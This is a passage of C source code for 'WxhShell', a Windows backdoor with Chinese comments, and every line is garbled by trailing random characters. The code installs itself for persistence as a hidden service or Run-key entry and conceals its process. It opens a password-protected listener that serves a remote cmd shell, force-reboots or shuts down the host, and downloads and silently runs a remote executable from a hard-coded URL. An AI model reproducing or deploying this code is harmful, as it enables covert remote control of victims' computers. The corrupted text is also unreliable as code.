    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  Dv-ubki  
    if(Boot(SHUTDOWN)) .DZ8kKY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iM{UB=C  
    else { YOY{f:ew  
    closesocket(wsh); k{B;J\`E;  
    ExitThread(0); R*z:+p}oHy  
    } 7;H P_oAu  
    break; " uHU!)J#z  
    } 0vi\o`**Mj  
  // 获取shell OQa;EBO  
  case 's': { (X}Q'm$n\h  
    CmdShell(wsh); qlIbnyP<  
    closesocket(wsh); +*P;Vb6D  
    ExitThread(0); \[;Qqn0  
    break; /2AeJH\-  
  } ^+q4*X6VB  
  // 退出 ">NPp\t>/Z  
  case 'x': { Nlfz'_0M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #J)83  
    CloseIt(wsh); [wR x)F"  
    break; L(i0d[F  
    } LwS>jNJx  
  // 离开 Ncle8=8  
  case 'q': { {\zB'SNq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8f{;oO  
    closesocket(wsh); pG9qD2C f  
    WSACleanup(); K18Sj,]B  
    exit(1); #ysSfM6  
    break; /\|AHM  
        } e x`mu E  
  } u[ 2B0a  
  } (D rDWD4_  
~q05xy8  
  // 提示信息 /E0/)@pDq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )#_:5^1  
} X6lUFko  
  } Z=\wI:TY1  
@8qo(7<~Q  
  return; CPS1b  
} t+`>zux5(T  
@2Ca]2,4  
// shell模块句柄 ]^ "BLbDZ@  
int CmdShell(SOCKET sock) -Rz%<`  
{ }iCcXZ&5^  
STARTUPINFO si; *^b<CZd9  
ZeroMemory(&si,sizeof(si)); ;fnE"}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "=ogO/_Q"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; li~#6$  
PROCESS_INFORMATION ProcessInfo; vynchZ+g]  
char cmdline[]="cmd"; qz2j55j   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }m0hq+p^  
  return 0; xh raf1v3\  
} `L1lGlt  
L:3  
// 自身启动模式 E3<~C(APW  
int StartFromService(void) a}#Jcy!e  
{ !>Ru= $9  
typedef struct $2+(|VG4F  
{ skR I \  
  DWORD ExitStatus; #:6gFfk0<  
  DWORD PebBaseAddress; Kx@;LRY#  
  DWORD AffinityMask; YoEL|r|  
  DWORD BasePriority; cKbsf ^R[e  
  ULONG UniqueProcessId; eLc@w<yB  
  ULONG InheritedFromUniqueProcessId; `lA[-x~  
}   PROCESS_BASIC_INFORMATION; / %:%la%  
5EqC.g.  
PROCNTQSIP NtQueryInformationProcess; .8K ~ h  
~\~K ,v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EM&;SQ;C9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V)g{ Ew]:  
F;@A2WD  
  HANDLE             hProcess; 6V@?/B  
  PROCESS_BASIC_INFORMATION pbi; ?}g#Mc  
)]~;A c^x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~G ZpAPg*  
  if(NULL == hInst ) return 0; 2%F!aeX  
N)H _4L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ek3,ss3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iAAlld1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s.oh6wz  
'5BM*4,:O  
  if (!NtQueryInformationProcess) return 0; Oe^oigcM  
PC3-X['[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -6./bB g  
  if(!hProcess) return 0; 5o dtYI%L  
wmf#3"n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?()$imb*  
M~/R1\'&j  
  CloseHandle(hProcess); ,\cO>y@  
`aw5"ns^V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YPY'[j(p`n  
if(hProcess==NULL) return 0; _g#v*7o2@  
~^u#Q\KE"  
HMODULE hMod; JIobs*e0m  
char procName[255]; |Q _]+[  
unsigned long cbNeeded; HECZZnM  
V%c1+h<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uI*2}Q   
eGJ}';O,g  
  CloseHandle(hProcess); W7ffdODb  
7<ZCeM2x  
if(strstr(procName,"services")) return 1; // 以服务启动 ;0!rq^JG  
{_{&t>s2  
  return 0; // 注册表启动 cqyrao3;  
} )(&WhZc Z  
yj+HU5L4  
// 主模块 (GNY::3  
int StartWxhshell(LPSTR lpCmdLine) R#QcQx  
{ WO=,NQOw  
  SOCKET wsl; i[wEH1jR  
BOOL val=TRUE; Vg+jF!\7  
  int port=0; iKu~o.yy  
  struct sockaddr_in door;  @aC2]  
`vijd(a?v  
  if(wscfg.ws_autoins) Install(); sb7~sa&-  
0f<$S$~h  
port=atoi(lpCmdLine); ee=d*)  
1tNmiAu  
if(port<=0) port=wscfg.ws_port; HYkZMVH{  
mCY+V~^~kz  
  WSADATA data; 1ukCH\YgU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lVmm`q6n9  
] _ON\v1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :$#"; t|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9W[ ~c"Ku  
  door.sin_family = AF_INET; b2Jgg&?G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z^q ~|7  
  door.sin_port = htons(port); ]5=C3Y  
#el i_Cxe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -brn&1oJ  
closesocket(wsl); Rf~? u)h1  
return 1; oq>8  
} xqua>!mqS  
{{\ d5CkX  
  if(listen(wsl,2) == INVALID_SOCKET) { pM^r8kIH  
closesocket(wsl); 6,*o;<k[  
return 1; r^$4]@Wn  
} F5#P{ zk|  
  Wxhshell(wsl); 9Fkzt=(E~  
  WSACleanup(); :&/b}b!)AX  
* @QC:1k  
return 0; /4R|QD  
'{t&!M`  
} }Z~& XL=  
q i27:oJ  
// 以NT服务方式启动 -Xw i}/OX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1gZW~6a}  
{ *k]izWsV*  
DWORD   status = 0; e uF@SS  
  DWORD   specificError = 0xfffffff; C(^IX"9 #  
jd&kak  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A{!D7kwTz~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;DkX"X+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y;L,}/[  
  serviceStatus.dwWin32ExitCode     = 0; `V;vvHP A  
  serviceStatus.dwServiceSpecificExitCode = 0; 'WA]DlO  
  serviceStatus.dwCheckPoint       = 0; j0L A  
  serviceStatus.dwWaitHint       = 0; A;4O,p@   
~?m vV`30&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -I'@4\<  
  if (hServiceStatusHandle==0) return; oA _,jsD4  
}h6 N.vz  
status = GetLastError(); {bSi3oI  
  if (status!=NO_ERROR) B[]v[q<  
{ KV!!D{VS`@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; whzV7RT  
    serviceStatus.dwCheckPoint       = 0; Z|z+[V}[  
    serviceStatus.dwWaitHint       = 0; `qjiC>9  
    serviceStatus.dwWin32ExitCode     = status; pV3o\bk!  
    serviceStatus.dwServiceSpecificExitCode = specificError; FTihxC?.L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jM E==)Y  
    return; },2mIit(  
  } } h.]sF  
fh1rmet&Ts  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t/=xY'7  
  serviceStatus.dwCheckPoint       = 0; 7%-+7O3ud  
  serviceStatus.dwWaitHint       = 0; l~/g^lN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k_2W*2'S  
} FK$?8Jp  
`xO9xo#  
// 处理NT服务事件,比如:启动、停止 ?W%9H\;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %U.aRSf/  
{ \eD{bD  
switch(fdwControl) oWZbfR9R  
{ 483BrFV  
case SERVICE_CONTROL_STOP: \9*,[mvC  
  serviceStatus.dwWin32ExitCode = 0; qw!_/Z3[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7,sslf2%K  
  serviceStatus.dwCheckPoint   = 0; FE)L?  
  serviceStatus.dwWaitHint     = 0; (5SN=6O  
  { B/(]AWi+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M``I5r*cg  
  } CywQ  
  return; 6NO_S  
case SERVICE_CONTROL_PAUSE: W6&s_ (  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DL^}?Ve  
  break; 6o_t;cpT  
case SERVICE_CONTROL_CONTINUE: TZT1nj"n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @bN`+DC!<  
  break; H$ !78/f  
case SERVICE_CONTROL_INTERROGATE: vKzq7E  
  break; .}}w@NO  
}; FM c9oyU~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | %Dh  
} uqhNi!;  
^<0azza/(  
// 标准应用程序主函数 L{hP&8$k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7>g^OE f  
{ PD$g W`V  
PXZ ZPW/  
// 获取操作系统版本 d$uh .?F5  
OsIsNt=GetOsVer(); (f^K\7HM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n$*'J9W~  
VQr)VU=jb  
  // 从命令行安装 M>CW(X  
  if(strpbrk(lpCmdLine,"iI")) Install(); ddDl~&}o  
7Ca+Pe}/n,  
  // 下载执行文件 ,= ;d<O8  
if(wscfg.ws_downexe) { o%+8.Tx6wT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7/ "g} F}Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); !N4?>[E  
} $e=pdD~  
\BT8-}  
if(!OsIsNt) { I/ pv0  
// 如果时win9x,隐藏进程并且设置为注册表启动 K<HF!YU#I2  
HideProc(); \X5>HPB  
StartWxhshell(lpCmdLine); Nw`}iR0i  
} cxhS*"Ph  
else qwlIz/j  
  if(StartFromService()) 7|A9  
  // 以服务方式启动 FK MuRy|  
  StartServiceCtrlDispatcher(DispatchTable); PYldqY   
else T@[(FVA N  
  // 普通方式启动 Rh7unJ  
  StartWxhshell(lpCmdLine); MPINxS  
\($EYhx  
return 0; "y_A xOH  
} &;~x{q]3  
x[Xj[O  
b(lC7Xm  
|OXufV?I  
=========================================== ?fB}9(6  
a'f0Wv0%"  
@za X\  
"o +" Jd  
#C+""qm  
l65-8  
" TI{W(2O*  
FFH9 $>A  
#include <stdio.h> 2k,!P6fgl  
#include <string.h> FcnSO0G%  
#include <windows.h> )q?z "F|  
#include <winsock2.h> c;w%R8z  
#include <winsvc.h> :NL.#!>/  
#include <urlmon.h> V+/Vk1  
T&_!AjH  
#pragma comment (lib, "Ws2_32.lib") C wKo'PAJ  
#pragma comment (lib, "urlmon.lib") zG_e=   
|fXwH>'sw  
#define MAX_USER   100 // 最大客户端连接数  '&/"_  
#define BUF_SOCK   200 // sock buffer (>THN*i  
#define KEY_BUFF   255 // 输入 buffer WH F>J  
qRMH[F$`  
#define REBOOT     0   // 重启 t'@1FA!)  
#define SHUTDOWN   1   // 关机 {'W\~GnZ  
|k~\E|^  
#define DEF_PORT   5000 // 监听端口 \29a@6  
=]h5RC  
#define REG_LEN     16   // 注册表键长度 }(AgXvRq  
#define SVC_LEN     80   // NT服务名长度 #un#~s 7Q  
M6E.!Cs  
// 从dll定义API @Oe!*|?mS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  Py$*c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5gP#V K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `nA_WS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U88-K1G  
YYDLFt r2  
// wxhshell配置信息 m2[q*k]AtS  
struct WSCFG { v~>^c1:  
  int ws_port;         // 监听端口 =F2e*?a3  
  char ws_passstr[REG_LEN]; // 口令 FL 5u68  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Dw qoWZ  
  char ws_regname[REG_LEN]; // 注册表键名 e[fzy0  
  char ws_svcname[REG_LEN]; // 服务名 sidSY8j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j_PICv*6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K'[H`x^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fx']kn9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^E&':6(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FHVZ/ e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @,i_ KN6C  
o/E A%q1  
}; 8UArl3  
,5" vzGLJ  
// default Wxhshell configuration =:rR%L!a  
struct WSCFG wscfg={DEF_PORT, 0Zkb}F2-  
    "xuhuanlingzhe", <>,V> k|  
    1, AY['!&T  
    "Wxhshell", "(/ 1]EH`  
    "Wxhshell", ^\kv> WBE  
            "WxhShell Service", {l= !  
    "Wrsky Windows CmdShell Service", a%>p"4WL  
    "Please Input Your Password: ", Uv,_VS(  
  1, D'e'xU  
  "http://www.wrsky.com/wxhshell.exe", "=I ioY  
  "Wxhshell.exe" lJ!+n<K+  
    }; ;L.@4b[lP  
bq3G3oAyG  
// 消息定义模块 :UmY|=v?t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ye1kI~LO(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L 0k K'n?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !n4p*<Y6  
char *msg_ws_ext="\n\rExit."; kQXtO)  
char *msg_ws_end="\n\rQuit."; gio'_X  
char *msg_ws_boot="\n\rReboot..."; 3IHya=qN  
char *msg_ws_poff="\n\rShutdown..."; Wd'wL"6De  
char *msg_ws_down="\n\rSave to "; o >bf7+D  
Eh;SH^&6  
char *msg_ws_err="\n\rErr!"; !h&A^sAc  
char *msg_ws_ok="\n\rOK!";  Ex35  
Wbc*x  
char ExeFile[MAX_PATH]; /X)fWO S6  
int nUser = 0; Hk%m`|Z  
HANDLE handles[MAX_USER]; e$|g  
int OsIsNt; ) 'x4#5]  
%7q,[g8  
SERVICE_STATUS       serviceStatus; <\c 5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hs<vCL \  
3X,9K23T  
// 函数声明 H)1< ;{:  
int Install(void); xfw)0S  
int Uninstall(void); 6bCC6G  
int DownloadFile(char *sURL, SOCKET wsh); +^hFs7je)  
int Boot(int flag); #LEK?]y  
void HideProc(void); DzX5_ kA  
int GetOsVer(void); c,;-[sn  
int Wxhshell(SOCKET wsl); z-nhL=  
void TalkWithClient(void *cs); S5]rIcM  
int CmdShell(SOCKET sock); s<x2*yVUA  
int StartFromService(void); %^}3:0G  
int StartWxhshell(LPSTR lpCmdLine); <N^2|*3  
ipfiarT~)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \:C@L&3[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6JBE=9d-Q  
y8jk9Tv  
// 数据结构和表定义 - 8&M^-  
SERVICE_TABLE_ENTRY DispatchTable[] = t5 n$sF  
{ ,6?L.L  
{wscfg.ws_svcname, NTServiceMain}, B@dA?w.x  
{NULL, NULL} p;Kw$fQ?  
}; :~BY[")  
X.V7od>  
// 自我安装 G&MI@Hq  
int Install(void) E`.dU<8HE  
{ Hw[u Sv8  
  char svExeFile[MAX_PATH]; L !:}  
  HKEY key; 8)3g!3S  
  strcpy(svExeFile,ExeFile); g83]/s+  
x7 jE Ns )  
// 如果是win9x系统,修改注册表设为自启动 qazM@  
if(!OsIsNt) { :a(er'A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^yiRrcOo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [_ESR/&N  
  RegCloseKey(key); u$d T^c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "1_eZ`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * 3mF.^  
  RegCloseKey(key); ) 2C`;\/:  
  return 0; /,A:HM>B  
    } %gDMz7$~  
  } ^.y}2  
} <hgt{b4  
else { iqURlI);P  
"<x%kD  
// 如果是NT以上系统,安装为系统服务 ^0ZabR'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r8rU+4\8<  
if (schSCManager!=0) K1 a$ m2  
{ 2ku\R7  
  SC_HANDLE schService = CreateService -4{sr| lm  
  ( o7E?A  
  schSCManager, 6}A1^RB+w  
  wscfg.ws_svcname, 0 3kzS ]g  
  wscfg.ws_svcdisp, a=\r~Z7E  
  SERVICE_ALL_ACCESS, OF*m 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7HzO_u%H1  
  SERVICE_AUTO_START, 0|n1O)>J  
  SERVICE_ERROR_NORMAL, Jj}+tQ f  
  svExeFile, zl\mBSBx"  
  NULL, b&X- &F  
  NULL, >8+:{NW  
  NULL, }2;~':Mklz  
  NULL, fEF1&&8^  
  NULL B uV@w-|  
  ); @13vn x  
  if (schService!=0) ;QQLYT  
  { .~qu,q7k~  
  CloseServiceHandle(schService); Zoh[tO   
  CloseServiceHandle(schSCManager); IGEs1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U~QIO O  
  strcat(svExeFile,wscfg.ws_svcname); 8R}CvzI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NL%5'8F>,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FP=%e]vJ  
  RegCloseKey(key); sA=WU(4^  
  return 0; 4JSf t t  
    } tWy0% -  
  } -v#0.3zm  
  CloseServiceHandle(schSCManager); -R@mnG 5  
} #x! h BS!  
} rAq2   
p5&:>>  
return 1; +m kub}<a  
} y}dop1zp  
< TJzp  
// 自我卸载 'H- : >'k  
int Uninstall(void) nn!W-Bsqjh  
{ &OD)e@Tc  
  HKEY key; E!w%oTx{OR  
`''\FPhh  
if(!OsIsNt) { Ha{#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^%tmHDNL.  
  RegDeleteValue(key,wscfg.ws_regname); G$&SlJZEk  
  RegCloseKey(key); +x$GwX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~p^&` FA  
  RegDeleteValue(key,wscfg.ws_regname); o_hk!s^4m  
  RegCloseKey(key); =NxT9$V  
  return 0; zsnXPRF  
  } WVlyR\.  
} GF[onfQY7  
} &|'k)6Rx  
else { qg6283'?  
ousvsP%'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n 5h4]u  
if (schSCManager!=0)  K9 h{sC  
{ IF-g %  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FY h+G-Y#  
  if (schService!=0) ^\:"o  
  { JG-\~'9  
  if(DeleteService(schService)!=0) { +Zgh[a  
  CloseServiceHandle(schService); R: 8\z0"L*  
  CloseServiceHandle(schSCManager); S?n,O+q  
  return 0; jt5en;AA[  
  } | wuUH  
  CloseServiceHandle(schService); eCHT) 35u  
  } uzjP!qO  
  CloseServiceHandle(schSCManager); =z`GC1]bL  
} j}~3m$  
} x-0S-1M  
z 4 4(  
return 1; 9D,`9L5-=  
} D  /wX  
2Ur9*#~kGp  
// 从指定url下载文件 DY| s |:d  
int DownloadFile(char *sURL, SOCKET wsh) {1a%CsCM  
{ !0Hx1I<*x  
  HRESULT hr; :(gZ\q">k  
char seps[]= "/"; dNd(57  
char *token; ;s m )f  
char *file; J eCKnt=  
char myURL[MAX_PATH]; .=rS,Tpo  
char myFILE[MAX_PATH]; n@IpO i$Q  
^)|8N44O  
strcpy(myURL,sURL); `rEu8u  
  token=strtok(myURL,seps); c!n\?lB  
  while(token!=NULL) T 2Uu/^  
  { z&x ^ Dl  
    file=token; 6 2{(i'K  
  token=strtok(NULL,seps); \D Oqx  
  } .;#Wf @V  
@T>\pP]o  
GetCurrentDirectory(MAX_PATH,myFILE); >S\D+1PV  
strcat(myFILE, "\\"); fX"cQ&  
strcat(myFILE, file); %dA6vHI,  
  send(wsh,myFILE,strlen(myFILE),0); tB-0wD=PR  
send(wsh,"...",3,0); JRfG]u6GU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CHxu%- g  
  if(hr==S_OK) vhe[:`=a  
return 0; A|3'9iL{9  
else Yn!)('FdT!  
return 1; WBcnE( zF  
h+ixl#:  
} x93t.5E6  
6@ B_3y  
// 系统电源模块 1nHQ)od  
int Boot(int flag) UqJ}5{rt  
{ wB%:RI,  
  HANDLE hToken; ,T:Uk*Bj  
  TOKEN_PRIVILEGES tkp; Q7u/k$qN  
i|5.DhK}  
  if(OsIsNt) { -.XICKz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J@$h'YUF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -qv*%O@  
    tkp.PrivilegeCount = 1; <0R$yB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -%R3YU3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -nM=^ i4)  
if(flag==REBOOT) { =gSa?pd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {,V.IDs8[  
  return 0; %+BiN)R*x  
} ~MuD`a7#G  
else { s#phs `v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aNd6# yU$  
  return 0; A5U//y![{  
} S}QvG&c  
  } \53(D7+  
  else { O{YT6&.S0  
if(flag==REBOOT) { -|Z[GN:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #j!RbW  
  return 0; OFcL h  
} nd~cpHQR^  
else { ^ud-N;]MKs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LmCr[9/  
  return 0; =EE>QM  
} R<* c   
} dXwfOC\\  
H[H+s!)"  
return 1; +MHsdeGU1W  
} _>:R]2Ew  
kBF.TGT[l  
// win9x进程隐藏模块 /#WRd}IjK  
void HideProc(void) a| w.G "W  
{ W8bh49   
(T&rvE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j` RuK  
  if ( hKernel != NULL ) F6g)2&e{/  
  { 8\V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S}mZU!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V?_:-!NJ(  
    FreeLibrary(hKernel); 3 VNPdXsh  
  } ]'  ck!eG  
S_ELZO#7  
return; ^a,Oi%  
} 3mmp5 d  
ZeB"k)FI>  
// 获取操作系统版本 fLGZ@-qA0  
int GetOsVer(void) pv LA:LW2  
{ ^v5v7\!  
  OSVERSIONINFO winfo; }MW7,F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2=?:(e9  
  GetVersionEx(&winfo); fv;3cxQp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |<:Owd=  
  return 1; U"SH fI:  
  else SK6?;_  
  return 0; F},#%_4  
} Hj\iI p  
. N:& {$o:  
// 客户端句柄模块 9YMD[H\}V  
int Wxhshell(SOCKET wsl) bQTkW<7gh  
{ nu=yE$BN{  
  SOCKET wsh; Nj p?/r  
  struct sockaddr_in client;  Rix|LKk{  
  DWORD myID; 2b&&3u8  
9n\b!*x  
  while(nUser<MAX_USER) u;@~P  
{ s2IjZF{  
  int nSize=sizeof(client); M&93TQU-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -a^%9 U  
  if(wsh==INVALID_SOCKET) return 1; pUp&eH  
T6Oah:50EM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B\<;e  
if(handles[nUser]==0) {hP_"nN#  
  closesocket(wsh); obRYU|T  
else W{)RJ1  
  nUser++; =qg;K'M5  
  } ?.*^#>-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ff{ L=uj  
T(@J]Y-  
  return 0; Xc>M_%+ R  
} L lNd97Z  
sYMgi D  
// 关闭 socket F"G]afI9+  
void CloseIt(SOCKET wsh) fV>12ici  
{ Z?@oe-mz  
closesocket(wsh); :gwM$2vv  
nUser--; VKZZTFmV2)  
ExitThread(0); fN|'aq*Pd  
} F4b$  
  (4GDh%  
// 客户端请求句柄 6g6BE^o\  
void TalkWithClient(void *cs) PfrzrRahb  
{ T09'qB  
QDHTP|2e  
  SOCKET wsh=(SOCKET)cs; oh?@[U  
  char pwd[SVC_LEN]; @ ,9cpaL3  
  char cmd[KEY_BUFF]; )iU@P7W=  
char chr[1]; m-wK8]t9  
int i,j; 9 SBVp 6'  
_Hp[}sv4)  
  while (nUser < MAX_USER) { G\PFh&  
]YF_c,Q  
if(wscfg.ws_passstr) { y\C_HCU H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $sfDtnRy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *vqr+jr9  
  //ZeroMemory(pwd,KEY_BUFF); Q 1:7 9  
      i=0; F5+)=P#  
  while(i<SVC_LEN) { (q 0wV3Qv  
rBLcj;,  
  // 设置超时 4.t72*ML  
  fd_set FdRead; CAJ]@P#Xj+  
  struct timeval TimeOut; Y3n6y+Uzk  
  FD_ZERO(&FdRead); V_Xq&!HN[  
  FD_SET(wsh,&FdRead); GN=ugP 9  
  TimeOut.tv_sec=8; X+$IaLfCxD  
  TimeOut.tv_usec=0; O]1aez[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d#W>"Cqxqa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wG-lR,glb  
`B%IHr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XwlF[3VbiX  
  pwd=chr[0]; xIb"8,N  
  if(chr[0]==0xd || chr[0]==0xa) { ->u}b?aF  
  pwd=0; U;q GUqI  
  break; v>!tws5e  
  } {gkY:$xnrG  
  i++; 9sId2py]W  
    } Z`jSpgWR  
r9vO(m~  
  // 如果是非法用户,关闭 socket rG t/ /6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6!|/(~  
} 71I: P|.>  
g.]S5(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U=vh_NHj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G@=H=' :~  
NGs@z^&V  
while(1) { OH_mZA  
7lH.>n  
  ZeroMemory(cmd,KEY_BUFF); ` JZ`j7f  
6|@\\\l  
      // 自动支持客户端 telnet标准   g~v>{F+u  
  j=0; U(~d^9/#  
  while(j<KEY_BUFF) { nvOJY6)$V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sVNM#,  
  cmd[j]=chr[0]; I$Ra*r  
  if(chr[0]==0xa || chr[0]==0xd) { SKdh!*G  
  cmd[j]=0; c*N>7IF,  
  break; gY/p\kwsj  
  } H3Zs m)+:  
  j++; J};=)xLX;  
    } Fs 95^T  
d# >iFD+  
  // 下载文件 6%\&m|S  
  if(strstr(cmd,"http://")) { z<jH{AU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lWRRB&8  
  if(DownloadFile(cmd,wsh)) F4|U\,g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^~jB= =]  
  else N_Q\+x}zq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ 0J &^C  
  } 4RDdfY\%u  
  else { [R%Pf/[Fr  
Og E<bw  
    switch(cmd[0]) { L; (J6p]h  
